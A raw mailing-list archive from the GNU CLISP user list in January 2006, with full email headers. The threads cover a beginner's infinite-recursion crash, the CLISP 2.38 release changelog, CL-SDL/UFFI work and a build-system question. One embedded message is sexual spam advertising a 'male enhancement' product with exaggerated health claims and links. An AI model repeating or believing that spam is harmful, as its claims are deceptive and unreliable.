11:45:54 -0800 (PST) Hi I am a newbie just experimenting with clisp. Here is my function (maybe not correct): (defun filter-in (pred lst) (cons (if (and (not (null lst)) (funcall pred (car lst))) (car lst) nil) (filter-in pred (cdr lst)))) and I have a clisp.exe crash when I call: (filter-in #'evenp '(1 2 3 4 5)) Even if I wrote something crazy it shouldn't have crashed, right? Thank you, Andrei __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From mcross@irobot.com Fri Jan 20 11:58:42 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F02PB-0002y4-Si for clisp-list@lists.sourceforge.net; Fri, 20 Jan 2006 11:58:41 -0800 Received: from brick.irobot.com ([66.238.211.199] helo=irobot.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F02PA-0002bS-Ox for clisp-list@lists.sourceforge.net; Fri, 20 Jan 2006 11:58:42 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [clisp-list] clisp 2.35 crash on windows (under slime) Message-ID: <712A2DEC228C7448978CBD7A7AD5B09002F55BC7@fever.wardrobe.irobot.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] clisp 2.35 crash on windows (under slime) Thread-Index: AcYd+kmY/rmLaS+2TF6q8O8eyAXWowAAWq4w From: "Cross, Matthew" To: "Andrew Stebakov" , X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 20 11:59:08 2006 X-Original-Date: Fri, 20 Jan 2006 14:58:33 -0500 Infinite recursion will cause a stack overflow and a crash. At some point your function needs to stop calling itself.=20 > -----Original Message----- > From: clisp-list-admin@lists.sourceforge.net=20 > [mailto:clisp-list-admin@lists.sourceforge.net] On Behalf Of=20 > Andrew Stebakov > Sent: Friday, January 20, 2006 2:46 PM > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] clisp 2.35 crash on windows (under slime) >=20 > Hi >=20 > I am a newbie just experimenting with clisp. > Here is my function (maybe not correct): >=20 > (defun filter-in (pred lst) > (cons (if=20 > (and=20 > (not (null lst)) > (funcall pred (car lst))) > (car lst) > nil) > (filter-in pred (cdr lst)))) >=20 > and I have a clisp.exe crash when I call: > (filter-in #'evenp '(1 2 3 4 5)) >=20 > Even if I wrote something crazy it shouldn't have crashed, right? > Thank you, > Andrei >=20 >=20 >=20 > __________________________________________________ > Do You Yahoo!? > Tired of spam? Yahoo! Mail has the best spam protection=20 > around http://mail.yahoo.com=20 >=20 >=20 > ------------------------------------------------------- > This SF.net email is sponsored by: Splunk Inc. Do you grep=20 > through log files > for problems? Stop! Download the new AJAX search engine that makes > searching your log files as easy as surfing the web. =20 > DOWNLOAD SPLUNK! > http://sel.as-us.falkag.net/sel?cmd=3Dlnk&kid=3D103432&bid=3D230486& > dat=3D121642 > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list >=20 From Devon@Jovi.Net Fri Jan 20 14:04:04 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F04MP-0008PB-NY for clisp-list@lists.sourceforge.net; Fri, 20 Jan 2006 14:03:57 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1F04MM-0003UM-CR for clisp-list@lists.sourceforge.net; Fri, 20 Jan 2006 14:03:57 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id k0KLVZrW007799 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 20 Jan 2006 16:31:35 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id k0KLVZPS007796; Fri, 20 Jan 2006 16:31:35 -0500 (EST) (envelope-from Devon@Jovi.Net) Message-Id: <200601202131.k0KLVZPS007796@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: "Cross, Matthew" CC: astebakov@yahoo.com, clisp-list@lists.sourceforge.net In-reply-to: <712A2DEC228C7448978CBD7A7AD5B09002F55BC7@fever.wardrobe.irobot.com> (mcross@irobot.com) Subject: Re: [clisp-list] clisp 2.35 crash on windows (under slime) References: <712A2DEC228C7448978CBD7A7AD5B09002F55BC7@fever.wardrobe.irobot.com> X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Fri, 20 Jan 2006 16:31:42 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 20 14:05:01 2006 X-Original-Date: Fri, 20 Jan 2006 16:31:35 -0500 (EST) Stack overflow should not crash. You should see something like [2]> (filter-in #'evenp '(1 2 3 4 5)) *** - Lisp stack overflow. RESET [3]> From astebakov@yahoo.com Fri Jan 20 15:17:32 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F05Vc-0003IP-09 for clisp-list@lists.sourceforge.net; Fri, 20 Jan 2006 15:17:32 -0800 Received: from web36515.mail.mud.yahoo.com ([209.191.85.15]) by mail.sourceforge.net with smtp (Exim 4.44) id 1F05Va-0002wO-I7 for clisp-list@lists.sourceforge.net; Fri, 20 Jan 2006 15:17:31 -0800 Received: (qmail 91218 invoked by uid 60001); 20 Jan 2006 23:17:24 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=yNEFWB+Avrv7NDuSgS0nVb2E/GSwMfNZARuTP95pBPou9iKVBPskfS3GE5MKM+C9tCRKSoQxliVJKV1dHVAOs+cFsOH0kNWwzFZUCrpM9bHp0jkJuB/kZ8pYE5CfY3j3oJ3xKuvMfbOd6QzE6NouWg6+/69idKvNIxDx9qzmnfA= ; Message-ID: <20060120231724.91216.qmail@web36515.mail.mud.yahoo.com> Received: from [209.50.91.70] by web36515.mail.mud.yahoo.com via HTTP; Fri, 20 Jan 2006 15:17:24 PST From: Andrew Stebakov Subject: RE: [clisp-list] clisp 2.35 crash on windows (under slime) To: "Cross, Matthew" , clisp-list@lists.sourceforge.net In-Reply-To: <712A2DEC228C7448978CBD7A7AD5B09002F55BC7@fever.wardrobe.irobot.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 20 15:18:01 2006 X-Original-Date: Fri, 20 Jan 2006 15:17:24 -0800 (PST) That's right, I see my error in the code (why it's endless). It's just the excersises I am going through. I know the remove-if-not the the function that's already defined. I was just taken aback by the crash. So the consensus is that it should crash on stack overflow or not? I thought the biggest sell advantage of Lisp is that you can fix your bugs even on running code, that means that the environment at least shouldn't lock out on you. Please, correct me if I am wrong. Andrew --- "Cross, Matthew" wrote: > > Infinite recursion will cause a stack overflow and a > crash. At some > point your function needs to stop calling itself. > > > -----Original Message----- > > From: clisp-list-admin@lists.sourceforge.net > > [mailto:clisp-list-admin@lists.sourceforge.net] On > Behalf Of > > Andrew Stebakov > > Sent: Friday, January 20, 2006 2:46 PM > > To: clisp-list@lists.sourceforge.net > > Subject: [clisp-list] clisp 2.35 crash on windows > (under slime) > > > > Hi > > > > I am a newbie just experimenting with clisp. > > Here is my function (maybe not correct): > > > > (defun filter-in (pred lst) > > (cons (if > > (and > > (not (null lst)) > > (funcall pred (car lst))) > > (car lst) > > nil) > > (filter-in pred (cdr lst)))) > > > > and I have a clisp.exe crash when I call: > > (filter-in #'evenp '(1 2 3 4 5)) > > > > Even if I wrote something crazy it shouldn't have > crashed, right? > > Thank you, > > Andrei > > > > > > > > __________________________________________________ > > Do You Yahoo!? > > Tired of spam? Yahoo! Mail has the best spam > protection > > around http://mail.yahoo.com > > > > > > > ------------------------------------------------------- > > This SF.net email is sponsored by: Splunk Inc. Do > you grep > > through log files > > for problems? Stop! Download the new AJAX search > engine that makes > > searching your log files as easy as surfing the > web. > > DOWNLOAD SPLUNK! > > > http://sel.as-us.falkag.net/sel?cmd=lnk&kid=103432&bid=230486& > > dat=121642 > > _______________________________________________ > > clisp-list mailing list > > clisp-list@lists.sourceforge.net > > > https://lists.sourceforge.net/lists/listinfo/clisp-list > > > > > ------------------------------------------------------- > This SF.net email is sponsored by: Splunk Inc. Do > you grep through log files > for problems? Stop! Download the new AJAX search > engine that makes > searching your log files as easy as surfing the > web. DOWNLOAD SPLUNK! > http://sel.as-us.falkag.net/sel?cmd=lnk&kid3432&bid#0486&dat1642 > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From bslvxjvdc@yahoo.com Sat Jan 21 02:59:55 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F0GTI-0003Kk-Jy for clisp-list@lists.sourceforge.net; Sat, 21 Jan 2006 02:59:52 -0800 Received: from pool-71-111-69-196.ptldor.dsl-w.verizon.net ([71.111.69.196]) by mail.sourceforge.net with smtp (Exim 4.44) id 1F0GTI-0001YO-D3 for clisp-list@lists.sourceforge.net; Sat, 21 Jan 2006 02:59:52 -0800 Received: from DeepBlue by modish.com.cl (8.9.3/8.9.3) with ESMTP id TAA9487 for ; Sat, 21 Jan 2006 06:58:50 -0400 Message-ID: <1034577.1016802762@macduff> X-Mailer: MIME-tools 5.41 (Entity 5.404) From: "Douglas Walter" To: clisp-list@lists.sourceforge.net X-Spam-Score: 3.6 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 1.8 MORE_SEX BODY: Talks about a bigger drive for sex 2.5 ALL_NATURAL BODY: Spam is 100% natural?! Subject: [clisp-list] Enhanced libid0 -Natalie Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 21 03:00:05 2006 X-Original-Date: Sat, 21 Jan 2006 12:54:50 +0200 SPUR-M is the only site to offer an all natural male enhancemeent formula = that is proven to increase your volume by up to 500%. http://ca.geocities.com/inglis2601marcel22837/ other effects..... *Longer orgazms - The longest most intense orgasms of your life *Rock hard erecttions - Erecttions like steel *Increased sexuual desire - Enhanced libiido *Ejacuulate like a pornn star - Stronger ejacuulation *Multiple orgazms - Cum again and again *Up to 500% more volume - Cover her in it if you want http://sg.geocities.com/maurizio45429golda57584/ From sds@gnu.org Sat Jan 21 18:05:32 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F0Ubj-00040Q-VT for clisp-list@lists.sourceforge.net; Sat, 21 Jan 2006 18:05:31 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F0Ubh-0001ml-Iu for clisp-list@lists.sourceforge.net; Sat, 21 Jan 2006 18:05:32 -0800 Received: from 65-78-15-12.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.15.12]) by smtp02.mrf.mail.rcn.net with ESMTP; 21 Jan 2006 21:05:26 -0500 X-IronPort-AV: i="4.01,209,1136178000"; d="scan'208"; a="197643317:sNHT74086160" To: clisp-list@lists.sourceforge.net, Andrew Stebakov Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060120231724.91216.qmail@web36515.mail.mud.yahoo.com> (Andrew Stebakov's message of "Fri, 20 Jan 2006 15:17:24 -0800 (PST)") References: <712A2DEC228C7448978CBD7A7AD5B09002F55BC7@fever.wardrobe.irobot.com> <20060120231724.91216.qmail@web36515.mail.mud.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Andrew Stebakov Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp 2.35 crash on windows (under slime) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 21 18:06:01 2006 X-Original-Date: Sat, 21 Jan 2006 21:04:17 -0500 > * Andrew Stebakov [2006-01-20 15:17:24 -0800]: > > I thought the biggest sell advantage of Lisp is that you can fix your > bugs even on running code, that means that the environment at least > shouldn't lock out on you. Please, correct me if I am wrong. Yes, the slogan is "segfault ==> bug in the lisp implementation". With some caveats, which are different for different implementations, except that FFI can bring any implementation down. For CLISP, the caveat is that one should not modify the internal structure of objects (using things like SYS::%RECORD-STORE). For CMUCL at el, the caveat is that one should not use incorrect declarations. Indeed, your crash exposes a bug in CLISP. Would you like to try to fix it? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://pmw.org.il http://www.camera.org http://www.mideasttruth.com http://www.openvotingconsortium.org http://www.honestreporting.com Shady characters are often very bright. From devnull@stump.algebra.com Tue Jan 24 09:39:49 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1S8y-0005fc-PJ for clisp-list@lists.sourceforge.net; Tue, 24 Jan 2006 09:39:48 -0800 Received: from ak74.algebra.com ([65.182.171.162]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1F1S8v-00010R-4R for clisp-list@lists.sourceforge.net; Tue, 24 Jan 2006 09:39:46 -0800 Received: from ak74.algebra.com (localhost.localdomain [127.0.0.1]) by ak74.algebra.com (8.13.1/8.13.1) with ESMTP id k0OHdZSG020804 for ; Tue, 24 Jan 2006 11:39:35 -0600 Received: (from cola@localhost) by ak74.algebra.com (8.13.1/8.12.1/Submit) id k0OHdUaW020798; Tue, 24 Jan 2006 11:39:30 -0600 From: devnull@stump.algebra.com Message-Id: <200601241739.k0OHdUaW020798@ak74.algebra.com> X-Authentication-Warning: ak74.algebra.com: cola set sender to devnull@stump.algebra.com using -f To: clisp-list@lists.sourceforge.net References: In-Reply-To: Reply-To: cola-board@stump.algebra.com Cc: X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] Re: GNU CLISP 2.38 (2006-01-24) released Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 24 09:40:02 2006 X-Original-Date: Tue, 24 Jan 2006 11:39:30 -0600 -----BEGIN PGP SIGNED MESSAGE----- Your message has been rejected because it is crossposted to more than 1 usenet groups, which is against the charter of comp.os.linux.announce, or it is crossposted to another moderated group, or it has excessive quoting. Read charter of comp.os.linux.announce in http://stump.algebra.com/~cola Please direct your queries to cola-admin@stump.algebra.com. Thank you, - Moderator. ============================================ Full text of your message follows > From mjrauhal@kantti.Helsinki.FI Tue Jan 24 11:39:26 2006 > Return-Path: > Received: from kantti.Helsinki.FI (kantti.helsinki.fi [128.214.205.12]) > by ak74.algebra.com (8.13.1/8.13.1) with ESMTP id k0OHdPgN020750 > for ; Tue, 24 Jan 2006 11:39:26 -0600 > Received: from kantti.Helsinki.FI (localhost [127.0.0.1]) > by kantti.Helsinki.FI (8.12.11/8.12.11) with ESMTP id k0OHdMc3398241 > for ; Tue, 24 Jan 2006 19:39:22 +0200 (EET) > Received: (from mjrauhal@localhost) > by kantti.Helsinki.FI (8.12.11/8.12.11/Submit) id k0OHdFeq506320 > for cola@stump.algebra.com; Tue, 24 Jan 2006 19:39:15 +0200 (EET) > Received: from kill.it.helsinki.fi (kill.it.helsinki.fi [128.214.205.47]) > by kantti.Helsinki.FI (8.12.11/8.12.11) with ESMTP id k0OHdDPk514695 > for ; Tue, 24 Jan 2006 19:39:13 +0200 (EET) > Received: from sink.it.helsinki.fi (sink.it.helsinki.fi [128.214.205.38]) > by kill.it.helsinki.fi (8.12.10/8.12.10) with ESMTP id k0OHdDnn030081 > for ; Tue, 24 Jan 2006 19:39:13 +0200 > Received: from send.it.helsinki.fi (send.it.helsinki.fi [128.214.205.133]) > by sink.it.helsinki.fi (8.12.11/8.12.11) with ESMTP id k0OHd9dQ024832 > for ; Tue, 24 Jan 2006 19:39:10 +0200 (EET) > Received: from sws1.ornl.gov (sws1.ornl.gov [160.91.1.101]) > by send.it.helsinki.fi (8.13.3/8.13.3) with SMTP id k0OHd4xP015353 > for ; Tue, 24 Jan 2006 19:39:09 +0200 (EET) > Received: (qmail 6420 invoked by alias); 24 Jan 2006 17:39:04 -0000 > Delivered-To: linux-announce@sws1.ornl.gov > Received: (qmail 6414 invoked by uid 49501); 24 Jan 2006 17:39:04 -0000 > Received: from 198.112.236.6 by sws1 (envelope-from , uid 49491) with qmail-scanner-1.25 > (clamdscan: 0.83/743. spamassassin: 3.0.2. > Clear:RC:0(198.112.236.6):SA:0(-2.4/5.0):. > Processed in 2.711686 secs); 24 Jan 2006 17:39:04 -0000 > Received: from fw-ext.alphatech.com (HELO alphatech.com) (198.112.236.6) > by sws1.ornl.gov with SMTP; 24 Jan 2006 17:39:01 -0000 > Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) > by alphatech.com (8.12.11/8.12.11) with ESMTP id k0OHcPEe021979; > Tue, 24 Jan 2006 12:38:26 -0500 (EST) > To: linux-announce@sws1.ornl.gov > Cc: clisp-announce@lists.sourceforge.net > Newsgroups: comp.lang.lisp,comp.os.linux.announce > Subject: GNU CLISP 2.38 (2006-01-24) released > Mail-Copies-To: never > Return-Receipt-To: sds@gnu.org > Reply-To: clisp-list@lists.sourceforge.net > X-Attribution: Sam > X-Disclaimer: You should not expect anyone to agree with me. > From: Sam Steingold > Organization: disorganization > Date: Tue, 24 Jan 2006 12:37:35 -0500 > Message-ID: > User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) > Cancel-Lock: sha1:thvXlo1TyikPkNQNRdXrC85ZBhk= > Mail-Followup-To: linux-announce@news.ornl.gov, clisp-announce@lists.sourceforge.net > MIME-Version: 1.0 > Content-Type: text/plain; charset=utf-8 > Posted-To: comp.lang.lisp > Content-Transfer-Encoding: 8bit > X-MIME-Autoconverted: from quoted-printable to 8bit by kantti.Helsinki.FI id k0OHdDPk514695 > X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on ak74.algebra.com > X-Spam-Level: > X-Spam-Status: No, score=0.1 required=5.0 tests=AWL autolearn=disabled > version=3.0.0 > > The following message is a courtesy copy of an article > that has been posted to comp.lang.lisp as well. > > ANSI Common Lisp is a high-level, general-purpose programming language. > GNU CLISP is a Common Lisp implementation by Bruno Haible of Karlsruhe > University and Michael Stoll of Munich University, both in Germany. > It mostly supports the Lisp described in the ANSI Common Lisp standard. > It runs on most GNU and Unix systems (GNU/Linux, FreeBSD, NetBSD, OpenBSD, > Solaris, Tru64, HP-UX, BeOS, NeXTstep, IRIX, AIX and others) and on > other systems (Windows NT/2000/XP, Windows 95/98/ME) and needs only > 4 MB of RAM. > It is Free Software and may be distributed under the terms of GNU GPL, > while it is possible to distribute commercial proprietary applications > compiled with GNU CLISP. > The user interface comes in English, German, French, Spanish, Dutch, > Russian and Danish, and can be changed at run time. > GNU CLISP includes an interpreter, a compiler, a debugger, CLOS, MOP, > a foreign language interface, sockets, i18n, fast bignums and more. > An X11 interface is available through CLX, Garnet, CLUE/CLIO. > GNU CLISP runs Maxima, ACL2 and many other Common Lisp packages. > > More information at > , > , > and > . > Sources and selected binaries are available by anonymous ftp from > > and its mirrors. > > 2.38 (2006-01-24) > ================= > > User visible changes > -------------------- > > * SAVEINITMEM can create standalone executables. > Thanks to Frank Buß for the idea. > SAVEINITMEM also accepts :NORC argument do disable RC-file loading. > See for details. > > * POSIX:SYSLOG no longer recognizes "%m" and other formatting instructions. > For your safety and security, please do all formatting in Lisp. > > * Fixed the OPEN :IF-EXISTS :APPEND bug introduced in 2.37. > > * Fixed a crash on woe32 in opening files with names longer than MAX_PATH. > > * Module berkeley-db now supports Berkeley DB 4.4. > > > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > http://truepeace.org http://www.camera.org http://www.palestinefacts.org > http://www.mideasttruth.com http://www.memri.org http://ffii.org > UNIX is as friendly to you as you are to it. Windows is hostile no matter what. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQBVAwUBQ9ZmUiFvAtx2nXvNAQFO2wH/TSjaWEmVc62qyieSoNOwB+V90lybrsxx NUFxzW8nPzk6TMbKVTGRhQMhbFKNlR01chlYh67aMi1ECSAHfyaAxw== =vWor -----END PGP SIGNATURE----- From Joerg-Cyril.Hoehle@t-systems.com Tue Jan 24 10:34:16 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1SzZ-0001NP-Jp for clisp-list@lists.sourceforge.net; Tue, 24 Jan 2006 10:34:09 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1SzW-0006Ox-Sm for clisp-list@lists.sourceforge.net; Tue, 24 Jan 2006 10:34:09 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 24 Jan 2006 19:33:09 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 24 Jan 2006 19:33:09 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03080E1100@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: jeremy@decompiler.org MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: SDL - figured it out + CL-SDL with CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 24 10:35:02 2006 X-Original-Date: Tue, 24 Jan 2006 19:33:07 +0100 Hi, Jeremy Smith wrote: >It wasn't a slot object >- it was a structure! Using C-PTR etc. will convert a foreign struct into a Lisp object, and not reference foreign memory anymore afterwards. If you don't like that or prefer a style closer to C, use (c-pointer surface) instead and work with pointers, dereference them etc. as needed. Both usages have pros and cons. You choose. For the SDL event type, I'd think the conversion to Lisp looks nicer. OTOH, you may not want to convert... FWIW, I've updated my UFFI wrappers (added 3 comments) http://sourceforge.net/tracker/index.php?func=detail&aid=1028683&group_id=1355&atid=301355 and added 2 patches to the CL-SDL sourceforge patches section. http://sourceforge.net/tracker/?group_id=44704&atid=440619 It shows how I managed to get cl-sdl running with CLISP. I'd like to hear if it also works on Win32 (either cygwin or native). W.r.t. the state of UFFI+CLISP, there are still some design issues were UFFI is ill-defined w.r.t. nested structures. As a result, UFFI still does not natively support CLISP. My patches are just good enough to use a few libraries, which all exhibit a very regular behaviour, but they don't pass the whole UFFI testsuite. Enjoy, Jorg Hohle. From sick_soul@yahoo.it Tue Jan 24 11:16:11 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1TeD-0004fz-UE for clisp-list@lists.sourceforge.net; Tue, 24 Jan 2006 11:16:09 -0800 Received: from web26003.mail.ukl.yahoo.com ([217.12.10.214]) by mail.sourceforge.net with smtp (Exim 4.44) id 1F1TeB-0000c2-M4 for clisp-list@lists.sourceforge.net; Tue, 24 Jan 2006 11:16:09 -0800 Received: (qmail 89683 invoked by uid 60001); 24 Jan 2006 19:16:03 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.it; h=Message-ID:Received:Date:From:Subject:To:MIME-Version:Content-Type; b=YoACswTrvAoquCG4tLRF6wMKXukSbrKYywIUQDPkISLg9q1s5cyjJCUebV7ybHk0BSc8dcUQ91pwojyOYybWeM0dr0axg2nIP88U1vLiSr+QPPJOMhYmLWSfdrh8k2Vek2ltaqop3Zyyvts+I1C29pg93ZwMPs7rfiSs7hYMZoA= ; Message-ID: <20060124191603.89681.qmail@web26003.mail.ukl.yahoo.com> Received: from [87.0.110.47] by web26003.mail.ukl.yahoo.com via HTTP; Tue, 24 Jan 2006 11:16:03 PST From: Claudio Fontana To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp 2.38 release, question about build system Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 24 11:17:04 2006 X-Original-Date: Tue, 24 Jan 2006 11:16:03 -0800 (PST) Hello, thanks for clisp 2.38! I wanted to ask, have you considered tweaking the build system to make it possible to use the pattern ./configure [options] make make install [DESTDIR=/my/destdir] ? My question is interested because I am building a tool on top of that assumption. It's GNU Source Installer, and is becoming quite nice. https://savannah.gnu.org/projects/sourceinstall an alpha release of the new architecture (sourceinstall 2), is available on ftp://ftp.gnu.org/gnu/sourceinstall I can help make a patch if you are interested. Claudio ___________________________________ Yahoo! Mail: gratis 1GB per i messaggi e allegati da 10MB http://mail.yahoo.it From sds@gnu.org Tue Jan 24 11:31:55 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 